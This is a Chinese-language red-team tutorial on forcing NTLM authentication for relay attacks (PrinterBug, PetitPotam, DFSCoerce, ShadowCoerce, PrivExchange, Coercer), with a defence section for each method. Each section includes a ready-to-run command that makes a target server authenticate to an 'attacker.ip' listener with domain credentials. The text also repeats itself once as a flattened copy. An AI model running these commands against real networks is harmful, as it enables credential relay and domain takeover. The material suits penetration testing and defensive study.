红队域渗透NTLM Relay:强制认证方式总结
字数 1550 2025-08-06 18:07:47

红队域渗透:NTLM Relay强制认证方式详解

1. NTLM Relay概述

NTLM Relay攻击是一种中间人攻击,攻击者通过中继NTLM认证流量来获取目标系统的访问权限。完整的NTLM Relay攻击流程分为三个部分:

  1. 监听器设置:配置监听器捕获NTLM认证流量
  2. 触发NTLM认证:诱导或强制目标系统发起NTLM认证
  3. 中继后攻击:利用中继的认证执行后续攻击

2. 强制触发NTLM认证的五种方式

2.1 PrinterBug (MS-RPRN)

原理

  • 利用Windows打印系统远程协议(MS-RPRN)中的RpcRemoteFindFirstPrinterChangeNotification API
  • 强制域控制器向攻击者控制的服务器发起NTLM认证

利用条件

  • 目标系统需启用Spooler服务
  • 攻击者需要有效的域用户凭据

利用方法

python printerbug.py domain/user:password@target.domain.com attacker.ip

防御措施

  • 禁用Print Spooler服务
  • 应用KB5007247补丁

2.2 PetitPotam (MS-EFSRPC)

原理

  • 利用加密文件系统远程协议(MS-EFSRPC)中的EfsRpcOpenFileRaw函数
  • 强制目标系统向攻击者发起NTLM认证

利用条件

  • 目标系统需启用EFS服务
  • 攻击者需要有效的域用户凭据

利用方法

python petitpotam.py attacker.ip target.domain.com

防御措施

  • 禁用EFS服务
  • 应用KB5005413补丁
  • 启用EPA(Extended Protection for Authentication)

2.3 DFSCoerce (MS-DFSNM)

原理

  • 利用分布式文件系统命名空间管理协议(MS-DFSNM)中的NetrDfsRemoveStdRoot方法
  • 强制目标系统向攻击者发起NTLM认证

利用条件

  • 目标系统需启用DFS服务
  • 攻击者需要有效的域用户凭据

利用方法

python dfscoerce.py -d domain.com -u username -p password target.domain.com attacker.ip

防御措施

  • 禁用DFS服务
  • 应用最新安全补丁

2.4 ShadowCoerce (MS-FSRVP)

原理

  • 利用文件服务器远程VSS协议(MS-FSRVP)中的IsPathSupported方法
  • 强制目标系统向攻击者发起NTLM认证

利用条件

  • 目标系统需启用FSS Agent服务
  • 攻击者需要有效的域用户凭据

利用方法

python shadowcoerce.py target.domain.com attacker.ip

防御措施

  • 禁用FSS Agent服务
  • 应用最新安全补丁

2.5 PrivExchange (MAPI over HTTP)

原理

  • 利用Exchange服务器的MAPI over HTTP协议
  • 强制Exchange服务器向攻击者发起NTLM认证

利用条件

  • 目标为Exchange服务器
  • 攻击者需要有效的邮箱用户凭据

利用方法

python privexchange.py -ah attacker.ip -u username -d domain.com -p password exchange.domain.com

防御措施

  • 禁用MAPI over HTTP
  • 应用Exchange最新补丁
  • 启用EPA

3. 集成工具Coercer

Coercer是一款集成了多种强制认证方式的自动化工具,支持以下功能:

功能特点

  • 支持多种强制认证方法
  • 自动检测可用的强制认证方式
  • 提供详细的输出报告

使用方法

python coercer.py -d domain.com -u username -p password -l attacker.ip -t target.domain.com

参数说明

  • -d: 目标域
  • -u: 用户名
  • -p: 密码
  • -l: 监听器IP
  • -t: 目标主机

4. 防御建议

  1. 补丁管理:及时安装最新的安全补丁
  2. 服务管理:禁用不必要的服务(Spooler, EFS, DFS等)
  3. 网络隔离:限制关键系统的网络访问
  4. 认证加固:启用SMB签名和EPA
  5. 监控检测:部署NTLM Relay攻击检测机制

5. 总结

强制NTLM认证是NTLM Relay攻击的关键环节,了解这些技术有助于红队进行域渗透测试,同时也帮助蓝队更好地防御此类攻击。随着Windows系统的更新,新的强制认证方式可能会被发现,安全团队需要持续关注相关安全研究。

红队域渗透:NTLM Relay强制认证方式详解 1. NTLM Relay概述 NTLM Relay攻击是一种中间人攻击,攻击者通过中继NTLM认证流量来获取目标系统的访问权限。完整的NTLM Relay攻击流程分为三个部分: 监听器设置 :配置监听器捕获NTLM认证流量 触发NTLM认证 :诱导或强制目标系统发起NTLM认证 中继后攻击 :利用中继的认证执行后续攻击 2. 强制触发NTLM认证的五种方式 2.1 PrinterBug (MS-RPRN) 原理 : 利用Windows打印系统远程协议(MS-RPRN)中的RpcRemoteFindFirstPrinterChangeNotification API 强制域控制器向攻击者控制的服务器发起NTLM认证 利用条件 : 目标系统需启用Spooler服务 攻击者需要有效的域用户凭据 利用方法 : 防御措施 : 禁用Print Spooler服务 应用KB5007247补丁 2.2 PetitPotam (MS-EFSRPC) 原理 : 利用加密文件系统远程协议(MS-EFSRPC)中的EfsRpcOpenFileRaw函数 强制目标系统向攻击者发起NTLM认证 利用条件 : 目标系统需启用EFS服务 攻击者需要有效的域用户凭据 利用方法 : 防御措施 : 禁用EFS服务 应用KB5005413补丁 启用EPA(Extended Protection for Authentication) 2.3 DFSCoerce (MS-DFSNM) 原理 : 利用分布式文件系统命名空间管理协议(MS-DFSNM)中的NetrDfsRemoveStdRoot方法 强制目标系统向攻击者发起NTLM认证 利用条件 : 目标系统需启用DFS服务 攻击者需要有效的域用户凭据 利用方法 : 防御措施 : 禁用DFS服务 应用最新安全补丁 2.4 ShadowCoerce (MS-FSRVP) 原理 : 利用文件服务器远程VSS协议(MS-FSRVP)中的IsPathSupported方法 强制目标系统向攻击者发起NTLM认证 利用条件 : 目标系统需启用FSS Agent服务 攻击者需要有效的域用户凭据 利用方法 : 防御措施 : 禁用FSS Agent服务 应用最新安全补丁 2.5 PrivExchange (MAPI over HTTP) 原理 : 利用Exchange服务器的MAPI over HTTP协议 强制Exchange服务器向攻击者发起NTLM认证 利用条件 : 目标为Exchange服务器 攻击者需要有效的邮箱用户凭据 利用方法 : 防御措施 : 禁用MAPI over HTTP 应用Exchange最新补丁 启用EPA 3. 集成工具Coercer Coercer是一款集成了多种强制认证方式的自动化工具,支持以下功能: 功能特点 : 支持多种强制认证方法 自动检测可用的强制认证方式 提供详细的输出报告 使用方法 : 参数说明 : -d : 目标域 -u : 用户名 -p : 密码 -l : 监听器IP -t : 目标主机 4. 防御建议 补丁管理 :及时安装最新的安全补丁 服务管理 :禁用不必要的服务(Spooler, EFS, DFS等) 网络隔离 :限制关键系统的网络访问 认证加固 :启用SMB签名和EPA 监控检测 :部署NTLM Relay攻击检测机制 5. 总结 强制NTLM认证是NTLM Relay攻击的关键环节,了解这些技术有助于红队进行域渗透测试,同时也帮助蓝队更好地防御此类攻击。随着Windows系统的更新,新的强制认证方式可能会被发现,安全团队需要持续关注相关安全研究。